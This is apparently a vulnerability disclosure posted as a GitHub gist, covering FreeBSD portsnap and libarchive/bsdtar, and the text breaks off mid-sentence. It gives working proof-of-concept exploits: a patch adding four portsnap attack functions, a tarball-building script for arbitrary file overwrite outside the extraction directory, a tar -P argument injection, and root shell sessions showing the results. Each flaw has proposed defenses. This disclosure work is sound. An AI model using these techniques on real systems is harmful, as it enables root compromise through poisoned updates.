-
-
Save anonymous/e48209b03f1dd9625a992717e7b89c4f to your computer and use it in GitHub Desktop.
FreeBSD
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/=============================================================\ | |
| NON-CRYPTANALYTIC ATTACKS AGAINST FREEBSD UPDATE COMPONENTS | | |
\=============================================================/ | |
1. portsnap | |
2. libarchive/bsdtar | |
3. bspatch | |
/==========\ | |
| PORTSNAP | | |
\==========/ | |
The portsnap(8) script depends on a cryptographic chain of trust based on | |
SHA256 hashes, all of them anchored to an RSA public key (pub.ssl) with a | |
trusted keyprint defined in /etc/portsnap.conf. Unfortunately, the initial | |
snapshot tarball is not properly verified, allowing a resourceful attacker | |
to escape the cryptographic chain of trust and compromise the system. | |
In the portsnap(8) script, the function fetch_snapshot() fetches the initial | |
snapshot tarball and immediately extracts it without any hash verification. | |
(Indeed, there is no hash with which to verify this tarball, for the hash in | |
the tarball's filename is the hash of the tINDEX.new metadata file fetched | |
earlier.) | |
Exploitation vectors follow from | |
(i) vulnerabilities in libarchive/bsdtar itself. These are the subject of | |
the second security report. The symlink attacks have an obvious | |
impact, allowing any file on the system to be overwritten, paving the | |
way for immediate command execution. The hard-link attacks, typically | |
being restricted to /var because of filesystem segmentation, can | |
target /var/run/ld-elf.so.hints. | |
(ii) the attacker's ability to smuggle in unexpected tarball contents. At | |
first glance, it appears that fetch_snapshot() verifies, with two | |
calls to the function fetch_snapshot_verify(), the contents of the | |
tarball that _should_ be there; however, nothing is done about the | |
contents of the tarball that _should not_ be there. | |
This first report considers only the second class of vectors. | |
Exploitation vector #1: fetch_snapshot_verify() error | |
------------------------------------------------------ | |
The function fetch_snapshot_verify() contains the following hash check: | |
if [ "`gunzip -c snap/${F} | ${SHA256} -q`" != ${F} ]; then | |
The problem is that ${F} expands to a file hash without any .gz suffix. As | |
documented in the gunzip(1) manual page, gunzip(1) will first try opening the | |
file snap/${F}. Failing that, it will automatically append a suffix and try | |
opening the file snap/${F}.gz. | |
An attacker can supply both snap/${F} and snap/{F}.gz, where the first file is | |
clean and passes the hash check and the second file is malicious. Because the | |
portsnap(8) script explicitly appends a .gz suffix for every other use of | |
gunzip(1), the attacker's malicious file will be the one chosen for extraction. | |
Exploitation vector #1: defense | |
------------------------------- | |
A band-aid solution for this vector is to add the .gz extension: | |
if [ "`gunzip -c snap/${F}.gz | ${SHA256} -q`" != ${F} ]; then | |
Exploitation vector #2: file prediction | |
--------------------------------------- | |
An attacker can smuggle in files that will be used in later portsnap(8) runs. | |
When fetching new files based on differences in tINDEX/tINDEX.new and | |
INDEX/INDEX.new, the functions fetch_make_patchlist() and fetch_update() will | |
request new files only if they do not already exist in /var/db/portsnap/files. | |
If they do already exist (because an attacker has provided them), they will not | |
be overwritten and will not be subject to hash verification. | |
This is all well and good, but it would seem that an attacker faces the | |
difficult task of guessing future SHA256 hashes. Fortunately for the attacker, | |
there is usually an asynchrony on the portsnap servers between the snapshop | |
tag (snapshot.ssl) and the update tag (latest.ssl). An initialization run of | |
portsnap(8) will, via the function fetch_run(), grab the snapshot tarball, | |
handle it, and then automatically check for an available update. All the | |
attacker has to do is ensure the tarball contains the malicious file snap/X.gz, | |
where X is a hash learned from the already available update on the server. | |
Exploitation vector #2: defense | |
------------------------------- | |
All four demonstration attacks given below would be foiled if the snapshot | |
tarball were to be cryptographically verified, perhaps via a hash added to the | |
snapshot tag. This would also provide protection for libarchive/bsdtar, the | |
attack surface of which has barely been scratched in the second security | |
report, with only filesystem-based attacks investigated. At ~100K lines of code | |
with auto-detected multi-format support, libarchive/bsdtar is far too dangerous | |
to trust with pre-verification root privileges. | |
The more general problem is that portsnap(8), along with freebsd-update(8), | |
contains more pre-verification processing than strictly necessary. Hashes are | |
checked _after_ running gunzip(1), bspatch(1), and various character-stream | |
utilities rather than _before_, leading to problems such as the bspatch(1) | |
memory-corruption attack in the third security report. Contrast this with the | |
ports system proper, which guards virtually all processing with the 'checksum' | |
target. | |
Attack demonstrations | |
--------------------- | |
Attack #1 is an example attack using exploitation vector #1. It achieves | |
arbitrary command execution when the ports system is next used after an | |
initialization run of `portsnap fetch extract`. | |
Attack #2 is an example attack using exploitation vector #2. It achieves | |
arbitrary command execution when the ports system is next used after an | |
initialization run of `portsnap fetch extract`. | |
Attacks #3 and #4 are example attacks using exploitation vector #2. They | |
achieve immediate arbitrary command execution during an initialization run of | |
`portsnap fetch extract`. | |
These attacks are purely for demonstration purposes, so no effort has been made | |
to make them stealthy. Attacks #3 and #4 in particular are very noisy and do | |
not bother extracting a full ports tree. | |
The following patch can be applied to /usr/sbin/portsnap. The modified script | |
allows convenient simulation of actual attacks. Simulation means that the | |
modified script does not "cheat" -- a corrupt snapshot could achieve the same | |
effects outside the cryptographic chain of trust. Full descriptions of the | |
individual attacks appear afterward. | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
@@ -654,6 +654,95 @@ | |
return 0 | |
} | |
+attack_one() { | |
+ | |
+ evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_1; echo x' | |
+ | |
+ snapshot=`cut -f3 -d'|' tag.new`.tgz | |
+ index=`look INDEX tINDEX.new | cut -f2 -d'|'` | |
+ tar -xz --numeric-owner -f "$snapshot" snap/ | |
+ mk=`zgrep '^Mk/bsd\.commands\.mk' "snap/$index.gz" | cut -f2 -d '|'` | |
+ tar -xzf "snap/$mk.gz" | |
+ echo "$evilcmds" >> Mk/bsd.commands.mk | |
+ mv "snap/$mk.gz" "snap/$mk" | |
+ tar -czf "snap/$mk.gz" Mk/bsd.commands.mk | |
+ rm -f "$snapshot" | |
+ tar -czf "$snapshot" snap/ | |
+ rm -rf snap Mk | |
+} | |
+ | |
+attack_two() { | |
+ | |
+ evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_2; echo x' | |
+ | |
+ indexold=`look INDEX tINDEX | cut -f2 -d'|'` | |
+ indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'` | |
+ mk=`zgrep '^Mk/bsd\.commands\.mk' "files/$indexold.gz" | cut -f2 -d '|'` | |
+ tar -xzf "files/$mk.gz" | |
+ echo "$evilcmds" >> Mk/bsd.commands.mk | |
+ tar -czf x.gz Mk/bsd.commands.mk | |
+ bcmhash=`gunzip -c x.gz | sha256` | |
+ mv x.gz "files/$bcmhash.gz" | |
+ (zcat "files/$indexold.gz"; echo "Mk/bsd.commands.mk|$bcmhash") | | |
+ gzip > "files/$indexnew.gz" | |
+ rm -rf Mk | |
+} | |
+ | |
+attack_three() { | |
+ | |
+ evilcmds='/usr/bin/touch /tmp/evil_file_3' | |
+ | |
+ cp /usr/bin/cut /tmp/cut.saved3 | |
+ echo "/usr/bin/cut saved to /tmp/cut.saved3" | |
+ indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'` | |
+ cmdsfile=/var/db/portsnap/files/evilcmds.sh | |
+ cmdshash=`jot -s "" -b "a" 64` | |
+ symfile=.portsnap.INDEX | |
+ symhash=`jot -s "" -b "f" 64` | |
+ cat > "files/$indexnew" << EOF | |
+$cmdsfile|$cmdshash | |
+$symfile|$symhash | |
+EOF | |
+ gzip "files/$indexnew" | |
+ cat > "$cmdsfile" << EOF | |
+#!/bin/sh | |
+$evilcmds | |
+EOF | |
+ chmod 777 "$cmdsfile" | |
+ touch "files/$cmdshash" | |
+ gzip "files/$cmdshash" | |
+ ln -s /usr/bin/cut "$symfile" | |
+ tar -czf "files/$symhash.gz" "$symfile" | |
+ rm -f "$symfile" | |
+} | |
+ | |
+attack_four() { | |
+ evilcmds='/usr/bin/touch /tmp/evil_file_4' | |
+ | |
+ cp /usr/bin/cut /tmp/cut.saved4 | |
+ echo "/usr/bin/cut saved to /tmp/cut.saved4" | |
+ indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'` | |
+ symfile=sym | |
+ symhash=`jot -s "" -b "a" 64` | |
+ cmdshash=`jot -s "" -b "f" 64` | |
+ cat > "files/$indexnew" << EOF | |
+$symfile|$symhash | |
+-P|$cmdshash | |
+EOF | |
+ gzip "files/$indexnew" | |
+ ln -s /usr/bin "$symfile" | |
+ tar -czf "files/$symhash.gz" "$symfile" | |
+ rm -f "$symfile" | |
+ mkdir "$symfile" | |
+ cat > "$symfile/cut" << EOF | |
+#!/bin/sh | |
+$evilcmds | |
+EOF | |
+ chmod 777 "$symfile/cut" | |
+ tar -czf "files/$cmdshash.gz" "$symfile/cut" | |
+ rm -r "$symfile" | |
+} | |
+ | |
# Fetch a snapshot tarball, extract, and verify. | |
fetch_snapshot() { | |
while ! fetch_tag snapshot; do | |
@@ -671,6 +760,8 @@ | |
echo "Fetching snapshot generated at `date -r ${SNAPSHOTDATE}`:" | |
fetch -r http://${SERVERNAME}/s/${SNAPSHOTHASH}.tgz || return 1 | |
+ [ "$ATTACK" = "one" ] && attack_one | |
+ | |
echo -n "Extracting snapshot... " | |
tar -xz --numeric-owner -f ${SNAPSHOTHASH}.tgz snap/ || return 1 | |
rm ${SNAPSHOTHASH}.tgz | |
@@ -714,6 +805,10 @@ | |
fetch_metadata || return 1 | |
fetch_metadata_sanity || return 1 | |
+ [ "$ATTACK" = "two" ] && attack_two | |
+ [ "$ATTACK" = "three" ] && attack_three | |
+ [ "$ATTACK" = "four" ] && attack_four | |
+ | |
echo -n "Updating from `date -r ${OLDSNAPSHOTDATE}` " | |
echo "to `date -r ${SNAPSHOTDATE}`." | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
Attack #1 | |
--------- | |
Directories /usr/ports and /var/db/portsnap are cleaned. | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
attack_one() { | |
evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_1; echo x' | |
snapshot=`cut -f3 -d'|' tag.new`.tgz | |
index=`look INDEX tINDEX.new | cut -f2 -d'|'` | |
tar -xz --numeric-owner -f "$snapshot" snap/ | |
mk=`zgrep '^Mk/bsd\.commands\.mk' "snap/$index.gz" | cut -f2 -d '|'` | |
tar -xzf "snap/$mk.gz" | |
echo "$evilcmds" >> Mk/bsd.commands.mk | |
mv "snap/$mk.gz" "snap/$mk" | |
tar -czf "snap/$mk.gz" Mk/bsd.commands.mk | |
rm -f "$snapshot" | |
tar -czf "$snapshot" snap/ | |
rm -rf snap Mk | |
} | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
This attack simulates the delivery of a corrupt snapshot tarball including two | |
files: | |
snap/$mk | |
snap/$mk.gz | |
where snap/$mk contains a clean Mk/bsd.commands.mk and is used to pass hash | |
verification but where snap/$mk.gz contains a custom Mk/bsd.commands.mk and is | |
used for extraction. | |
Mk/bsd.commands.mk is a file that is not updated often, so modifications will | |
not be overwritten, and it is unconditionally included in Mk/bsd.port.mk, so | |
commands inside it will be run when using the ports system. | |
# ATTACK=one portsnap fetch | |
[...] | |
# portsnap extract | |
[...] | |
# tail -n 1 /usr/ports/Mk/bsd.commands.mk | |
EVILCMDS != /usr/bin/touch /tmp/evil_file_1; echo x | |
# cd /usr/ports/[...]/[...] | |
# ls /tmp/evil_file_1 | |
ls: /tmp/evil_file_1: No such file or directory | |
# make fetch | |
[...] | |
# ls /tmp/evil_file_1 | |
/tmp/evil_file_1 | |
Attack #2 | |
--------- | |
Directories /usr/ports and /var/db/portsnap are cleaned. | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
attack_two() { | |
evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_2; echo x' | |
indexold=`look INDEX tINDEX | cut -f2 -d'|'` | |
indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'` | |
mk=`zgrep '^Mk/bsd\.commands\.mk' "files/$indexold.gz" | cut -f2 -d '|'` | |
tar -xzf "files/$mk.gz" | |
echo "$evilcmds" >> Mk/bsd.commands.mk | |
tar -czf x.gz Mk/bsd.commands.mk | |
bcmhash=`gunzip -c x.gz | sha256` | |
mv x.gz "files/$bcmhash.gz" | |
(zcat "files/$indexold.gz"; echo "Mk/bsd.commands.mk|$bcmhash") | | |
gzip > "files/$indexnew.gz" | |
rm -rf Mk | |
} | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
This attack simulates the delivery of a corrupt snapshot tarball including | |
two malicious files: | |
snap/$bcmhash.gz | |
snap/$indexnew.gz | |
where snap/$bcmhash.gz contains a custom Mk/bsd.commands.mk and where | |
snap/$indexnew.gz contains an update INDEX. (Note that the script peeks inside | |
tINDEX.new for the update INDEX hash, which is not "cheating," for an attacker | |
can learn the same information from the update metadata available on the | |
server, assuming an update is available, which is typically the case.) | |
The update INDEX is an otherwise sane INDEX file with the following line | |
appended: | |
Mk/bsd.commands.mk|$bcmhash | |
When portsnap(8) discovers that the update INDEX already exists on the | |
filesystem, this file will not be overwritten and will not be hash-verified. | |
# ATTACK=two portsnap fetch | |
[...] | |
# portsnap extract | |
[...] | |
# tail -n 1 /usr/ports/Mk/bsd.commands.mk | |
EVILCMDS != /usr/bin/touch /tmp/evil_file_2; echo x | |
# cd /usr/ports/[...]/[...] | |
# ls /tmp/evil_file_2 | |
ls: /tmp/evil_file_2: No such file or directory | |
# make fetch | |
[...] | |
# ls /tmp/evil_file_2 | |
/tmp/evil_file_2 | |
Attack #3 | |
--------- | |
Directories /usr/ports and /var/db/portsnap are cleaned. | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
attack_three() { | |
evilcmds='/usr/bin/touch /tmp/evil_file_3' | |
cp /usr/bin/cut /tmp/cut.saved3 | |
echo "/usr/bin/cut saved to /tmp/cut.saved3" | |
indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'` | |
cmdsfile=/var/db/portsnap/files/evilcmds.sh | |
cmdshash=`jot -s "" -b "a" 64` | |
symfile=.portsnap.INDEX | |
symhash=`jot -s "" -b "f" 64` | |
cat > "files/$indexnew" << EOF | |
$cmdsfile|$cmdshash | |
$symfile|$symhash | |
EOF | |
gzip "files/$indexnew" | |
cat > "$cmdsfile" << EOF | |
#!/bin/sh | |
$evilcmds | |
EOF | |
chmod 777 "$cmdsfile" | |
touch "files/$cmdshash" | |
gzip "files/$cmdshash" | |
ln -s /usr/bin/cut "$symfile" | |
tar -czf "files/$symhash.gz" "$symfile" | |
rm -f "$symfile" | |
} | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
This attack simulates the delivery of a corrupt snapshot tarball including | |
four malicious files: | |
snap/$indexnew.gz | |
snap/evilcmds.sh | |
snap/$cmdshash.gz | |
snap/$symhash.gz | |
where snap/$indexnew.gz contains an update INDEX, where snap/evilcmds.sh is a | |
shell script containing arbitrary commands, where snap/$cmdshash.gz is a dummy | |
file for snap/evilcmds.sh, and where snap/$symhash.gz contains the symlink | |
.portsnap.INDEX -> /usr/bin/cut. | |
The update INDEX is the following: | |
/var/db/portsnap/files/evilcmds.sh|aaa[...]aaa | |
.portsnap.INDEX|fff[...]fff | |
The idea is to use a symlink to break out of /usr/ports. Although tar(1), when | |
operating as intended without special switches, refuses to extract _through_ | |
symlinks, it will happily _extract_ symlinks pointing anywhere on the system, | |
allowing another utility to cause damage _through_ those symlinks. Observe the | |
following lines in the portsnap(8) script: | |
extract_metadata() { | |
if [ -z "${REFUSE}" ]; then | |
sort ${WORKDIR}/INDEX > ${PORTSDIR}/.portsnap.INDEX | |
During extraction, .portsnap.INDEX will become a symlink pointing to | |
/usr/bin/cut. The lines above will cause /usr/bin/cut to be overwritten with | |
our sorted update INDEX. In other words, /usr/bin/cut will contain the | |
following: | |
.portsnap.INDEX|fff[...]fff | |
/var/db/portsnap/files/evilcmds.sh|aaa[...]aaa | |
/usr/bin/cut will be executed in extract_indices(). The kernel will reject the | |
new /usr/bin/cut for execution, but the shell will notice the failed execution | |
and try running /usr/bin/cut as a shell script. The pipe characters will be | |
interpreted as command delimiters. Hence we have achieved execution of | |
/var/db/portsnap/files/evilcmds.sh (the three other "commands" will fail, of | |
course). | |
/tmp/cut.saved3 is a copy of the original /usr/bin/cut. | |
# ATTACK=three portsnap fetch | |
[...] | |
# ls /tmp/evil_file_3 | |
ls: /tmp/evil_file_3: No such file or directory | |
# portsnap extract | |
[...] | |
# ls /tmp/evil_file_3 | |
/tmp/evil_file_3 | |
# cat /usr/bin/cut | |
.portsnap.INDEX|fff[...]fff | |
/var/db/portsnap/files/evilcmds.sh|aaa[...]aaa | |
# mv /tmp/cut.saved3 /usr/bin/cut | |
Attack #4 | |
--------- | |
Directories /usr/ports and /var/db/portsnap are cleaned. | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
attack_four() { | |
evilcmds='/usr/bin/touch /tmp/evil_file_4' | |
cp /usr/bin/cut /tmp/cut.saved4 | |
echo "/usr/bin/cut saved to /tmp/cut.saved4" | |
indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'` | |
symfile=sym | |
symhash=`jot -s "" -b "a" 64` | |
cmdshash=`jot -s "" -b "f" 64` | |
cat > "files/$indexnew" << EOF | |
$symfile|$symhash | |
-P|$cmdshash | |
EOF | |
gzip "files/$indexnew" | |
ln -s /usr/bin "$symfile" | |
tar -czf "files/$symhash.gz" "$symfile" | |
rm -f "$symfile" | |
mkdir "$symfile" | |
cat > "$symfile/cut" << EOF | |
#!/bin/sh | |
$evilcmds | |
EOF | |
chmod 777 "$symfile/cut" | |
tar -czf "files/$cmdshash.gz" "$symfile/cut" | |
rm -r "$symfile" | |
} | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
This attack simulates the delivery of a corrupt snapshot tarball including | |
three malicious files: | |
snap/$indexnew.gz | |
snap/$symhash.gz | |
snap/$cmdshash.gz | |
where snap/$indexnew.gz contains an update INDEX, where snap/$symhash.gz | |
contains the symlink sym -> /usr/bin, and where snap/$cmdshash.gz contains the | |
shell script sym/cut. | |
The update INDEX is the following: | |
sym|aaa[...]aaa | |
-P|fff[...]fff | |
As in attack #3, the idea is to use a symlink to break out of /usr/ports and | |
overwrite /usr/bin/cut, only this time we simplify the attack with a tar(1) | |
-P switch injection to disable the usual symlink checks. Observe the following | |
lines in the portsnap(8) script: | |
extract_run() { | |
[...] | |
rm -f ${PORTSDIR}/${FILE} | |
tar -xz --numeric-owner -f ${WORKDIR}/files/${HASH}.gz \ | |
-C ${PORTSDIR} ${FILE} | |
After the symlink sym -> /usr/bin has been extracted, the shell script sym/cut | |
will be extracted through that symlink, overwriting /usr/bin/cut. The tar(1) | |
symlink checks are bypassed because ${FILE} expands to the -P switch. | |
/tmp/cut.saved4 is a copy of the original /usr/bin/cut. | |
# ATTACK=four portsnap fetch | |
[...] | |
# ls /tmp/evil_file_4 | |
ls: /tmp/evil_file_4: No such file or directory | |
# portsnap extract | |
[...] | |
# ls /tmp/evil_file_4 | |
/tmp/evil_file_4 | |
# cat /usr/bin/cut | |
#!/bin/sh | |
/usr/bin/touch /tmp/evil_file_4 | |
# mv /tmp/cut.saved4 /usr/bin/cut | |
/===================\ | |
| LIBARCHIVE/BSDTAR | | |
\===================/ | |
The non-HEAD branches of FreeBSD still use libarchive/bsdtar 3.1.2 in base, | |
released in Feb 2013. The next version, 3.2.0, was released recently (May 2016) | |
and added to both the HEAD branch and ports. | |
Unless invoked with the -P switch, bsdtar tries to prevent three classes of | |
filesystem attacks: | |
(1) absolute paths | |
- handled by bsdtar itself via edit_pathname() in tar/util.c | |
- not handled by bsdcpio until upstream commit 5935715 (Mar 2015), | |
addressing CVE-2015-2304 (nothing more will be said about | |
bsdcpio in this report, but note that FreeBSD non-HEAD is still | |
vulnerable to this particular bug) | |
(2) dot-dot paths | |
- handled by libarchive via cleanup_pathname() in | |
libarchive/archive_write_disk_posix.c | |
(3) extraction through symlinks | |
- handled by libarchive via check_symlinks() in | |
libarchive/archive_write_disk_posix.c | |
Three vulnerabilities exist in check_symlinks(). One of these, allowing a file | |
overwrite outside the extraction directory, was discovered independently and | |
has already been silently fixed upstream, though FreeBSD non-HEAD is still | |
vulnerable. The other two vulnerabilities -- one allowing a file overwrite | |
outside the extraction directory and the other allowing permission changes to a | |
directory outside the extraction directory -- are new and exist in both FreeBSD | |
and upstream source. | |
A fourth vulnerability, also new and existing in both FreeBSD and upstream | |
source, arises from the fact that link-target pathnames are not subjected to | |
the security checks listed above. This, combined with the fact that libarchive | |
supports the POSIX feature of hard links with data payloads, allows a file | |
overwrite outside the extraction directory (under hard-linking constraints). | |
The vulnerability matrix summarizing the above information is as follows: | |
| non-HEAD (3.1.2) | HEAD/ports (3.2.0) | latest upstream | |
----------------------------------------------------------------- | |
bsdcpio | Y | N | N | |
vuln #1 | Y | N | N | |
vuln #2 | Y | Y | Y | |
vuln #3 | Y | Y | Y | |
vuln #4 | Y | Y | Y | |
(Y = vulnerable, N = not vulnerable) | |
Earlier versions may also be vulnerable. | |
VULNERABILITY #1 | |
---------------- | |
{Affects} | |
3.1.2 (FreeBSD non-HEAD), possibly earlier | |
{Description} | |
check_symlinks() checks only the first pathname component for symlinks. In the | |
pathname | |
dir1/dir2/file | |
check_symlinks() will ensure that 'dir1' is not a symlink, and in most cases, | |
'file' will fortuitously still be unlinked elsewhere in libarchive if it is a | |
symlink, but 'dir2' will not be checked. | |
{Demonstration} | |
libarchive correctly catches this: | |
$ echo hello > /tmp/myfile | |
$ ln -s /tmp dir1 | |
$ tar cf x.tar dir1 | |
$ rm dir1 | |
$ mkdir dir1 | |
$ echo goodbye > dir1/myfile | |
$ touch clear_safe_cache | |
$ tar rf x.tar clear_safe_cache dir1/myfile | |
$ rm -r clear_safe_cache dir1 | |
$ ls | |
x.tar | |
$ tar tf x.tar | |
dir1 | |
clear_safe_cache | |
dir1/myfile | |
$ tar xvf x.tar | |
x dir1 | |
x clear_safe_cache | |
x dir1/myfile: Cannot extract through symlink dir1 | |
tar: Error exit delayed from previous errors. | |
$ cat /tmp/myfile | |
hello | |
But libarchive fails to catch this: | |
$ rm * | |
$ mkdir dir1 | |
$ ln -s /tmp dir1/dir2 | |
$ tar cf x.tar dir1/dir2 | |
$ rm -r dir1 | |
$ mkdir -p dir1/dir2 | |
$ echo goodbye > dir1/dir2/myfile | |
$ touch clear_safe_cache | |
$ tar rf x.tar clear_safe_cache dir1/dir2/myfile | |
$ rm -r clear_safe_cache dir1 | |
$ ls | |
x.tar | |
$ tar tf x.tar | |
dir1/dir2 | |
clear_safe_cache | |
dir1/dir2/myfile | |
$ tar xvf x.tar | |
x dir1/dir2 | |
x clear_safe_cache | |
x dir1/dir2/myfile | |
$ cat /tmp/myfile | |
goodbye | |
{Defense} | |
This was independently discovered and silently fixed in upstream commit | |
6a7b8ad (Jan 2016). There was no associated version bump, CVE ID, or vuln | |
report, so it is unclear whether the security impact was recognized. The fix | |
is included in the recent 3.2.0 release, but it is not mentioned in the | |
"Security Fixes" section of the release notes. | |
VULNERABILITY #2 | |
---------------- | |
{Affects} | |
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier | |
{Description} | |
When check_symlinks() fails on an lstat() call, it checks errno for only | |
ENOENT: | |
r = lstat(a->name, &st); | |
if (r != 0) { | |
/* We've hit a dir that doesn't exist; stop now. */ | |
if (errno == ENOENT) | |
break; | |
} | |
All other error conditions get a free pass. In particular, ENAMETOOLONG gets a | |
free pass. This is by design: The function _archive_write_disk_header() calls | |
edit_deep_directories() after check_symlinks() in an effort to accommodate deep | |
directories. Unfortunately, the interaction between the symlink checks and the | |
deep-directory support introduces a security vulnerability, in that the symlink | |
checks are effectively disabled for long pathnames. | |
{Demonstration} | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
#!/bin/sh | |
ELEMENT_LEN=200 | |
ELEMENT_NUM=6 | |
ELEMENT_STR=`jot -s "" -b "D" $ELEMENT_LEN` | |
currdir=`pwd` | |
exec < "$2" | |
i=0 | |
while [ $i -lt $ELEMENT_NUM ]; do | |
mkdir $ELEMENT_STR | |
cd $ELEMENT_STR | |
i=$(($i + 1)) | |
done | |
ln -s / slink | |
tar cf "$currdir/x.tar" -C "$currdir" $ELEMENT_STR | |
rm -f slink | |
mkdir -p "slink/`dirname "$1"`" | |
cat - > "slink/$1" | |
tar rf "$currdir/x.tar" -C "$currdir" $ELEMENT_STR | |
cd "$currdir" | |
rm -rf $ELEMENT_STR | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
$ cat /tmp/myfile | |
cat: /tmp/myfile: No such file or directory | |
$ echo this is the data I want > data | |
$ ./vuln2.sh /tmp/myfile data | |
$ ls | |
data vuln2.sh x.tar | |
$ tar xf x.tar | |
[error messages omitted] | |
$ cat /tmp/myfile | |
this is the data I want | |
$ rm -r D* data x.tar | |
$ echo overwrite existing file > data | |
$ ./vuln2.sh /tmp/myfile data | |
$ tar xf x.tar | |
[error messages omitted] | |
$ cat /tmp/myfile | |
overwrite existing file | |
{Defense} | |
The best solution is probably to excise the function edit_deep_directories() | |
altogether and then change check_symlinks() to return ARCHIVE_FAILED when | |
lstat() fails with errno other than ENOENT. It does not appear to be worth the | |
trouble trying to work around PATH_MAX. Incidentally, POSIX defines PATH_MAX | |
to include the terminating NUL, so if edit_deep_directories() is to remain, its | |
two strlen() checks should be fixed accordingly: < PATH_MAX and >= PATH_MAX. | |
VULNERABILITY #3 | |
---------------- | |
{Affects} | |
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier | |
{Description} | |
check_symlinks() employs a single-bin safety cache as an optimization. The idea | |
is that after checking the pathname | |
aaa/bbb/ccc | |
for symlinks, if the next pathname is | |
aaa/bbb/ddd | |
there is no need to recheck aaa/bbb for symlinks. Unfortunately, a cached | |
aaa/bbb/ccc (where the directories are included for illustration purposes -- | |
simple filenames also work) allows symlink checks to be bypassed if the next | |
entry's pathname is one of | |
a | |
aa | |
aaa | |
aaa/b | |
aaa/bb | |
aaa/bbb | |
aaa/bbb/c | |
aaa/bbb/cc | |
aaa/bbb/ccc | |
The functions restore_entry() and create_filesystem_object() in | |
libarchive/archive_write_disk_posix.c appear to constrain the impact of this | |
vulnerability on FreeBSD to permission changes on arbitrary directories. The | |
root user is affected in default operation, whereas normal users may need to | |
issue the -p switch (distinct from the -P switch) to be affected: | |
$ mkdir /tmp/mydir | |
$ ls -ld /tmp/mydir | |
drwxr-xr-x [...] | |
$ ln -s /tmp/mydir sym | |
$ tar cf x.tar sym | |
$ rm sym | |
$ mkdir sym | |
$ chmod 777 sym | |
$ tar rf x.tar sym | |
$ rmdir sym | |
$ tar tf x.tar | |
sym | |
sym/ | |
$ tar xf x.tar | |
$ ls -ld /tmp/mydir | |
drwxr-xr-x [...] | |
$ ls | |
sym x.tar | |
$ rm sym | |
$ tar xf x.tar -p | |
$ ls -ld /tmp/mydir | |
drwxrwxrwx [...] | |
$ rm -r /tmp/mydir * | |
As the root user: | |
# mkdir /tmp/mydir | |
# ls -ld /tmp/mydir | |
drwxr-xr-x [...] | |
# ln -s /tmp/mydir sym | |
# tar cf x.tar sym | |
# rm sym | |
# mkdir sym | |
# chmod 777 sym | |
# tar rf x.tar sym | |
# rmdir sym | |
# tar tf x.tar | |
sym | |
sym/ | |
# tar xf x.tar | |
# ls -ld /tmp/mydir | |
drwxrwxrwx [...] | |
{Defense} | |
This vulnerability subverts the assurances of check_symlinks(), so a fix should | |
be local to check_symlinks(). It might also be worth investigating whether the | |
performance gains of the safety cache are worth the added complexity and | |
hairiness in such a security-critical function. | |
VULNERABILITY #4 | |
---------------- | |
{Affects} | |
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier | |
{Description} | |
Recall the three classes of filesystem attacks listed earlier: | |
(1) absolute paths | |
(2) dot-dot paths | |
(3) extraction through symlinks | |
These checks are applied as usual to the pathnames of symlinks and hard links | |
but not to their targets, with one exception: The targets of hard links are | |
subjected to absolute-path checks in tar/util.c as of FreeBSD revision r270661 | |
and upstream commit cf8e67f (it seems the revision was submitted upstream and | |
was rewritten in a different form as the commit -- both strip leading slashes | |
from the hard-link targets, though not for security reasons). | |
Archive entries for hard links can use dot-dot pathnames in their targets to | |
point at any file on the system, subject to the usual hard-linking constraints. | |
Alternatively, on systems that follow symlinks for link() -- which is an | |
implementation-defined behavior supported by FreeBSD -- a symlink can first be | |
extracted that uses absolute or dot-dot pathnames to point at the file, and | |
then the hard-link target can be the symlink, which means that filtering the | |
hard-link target for dot-dot paths is not sufficient to address the problem. | |
The ability to point hard links at outside files becomes more serious when we | |
consider that libarchive supports the POSIX feature of hard links with data | |
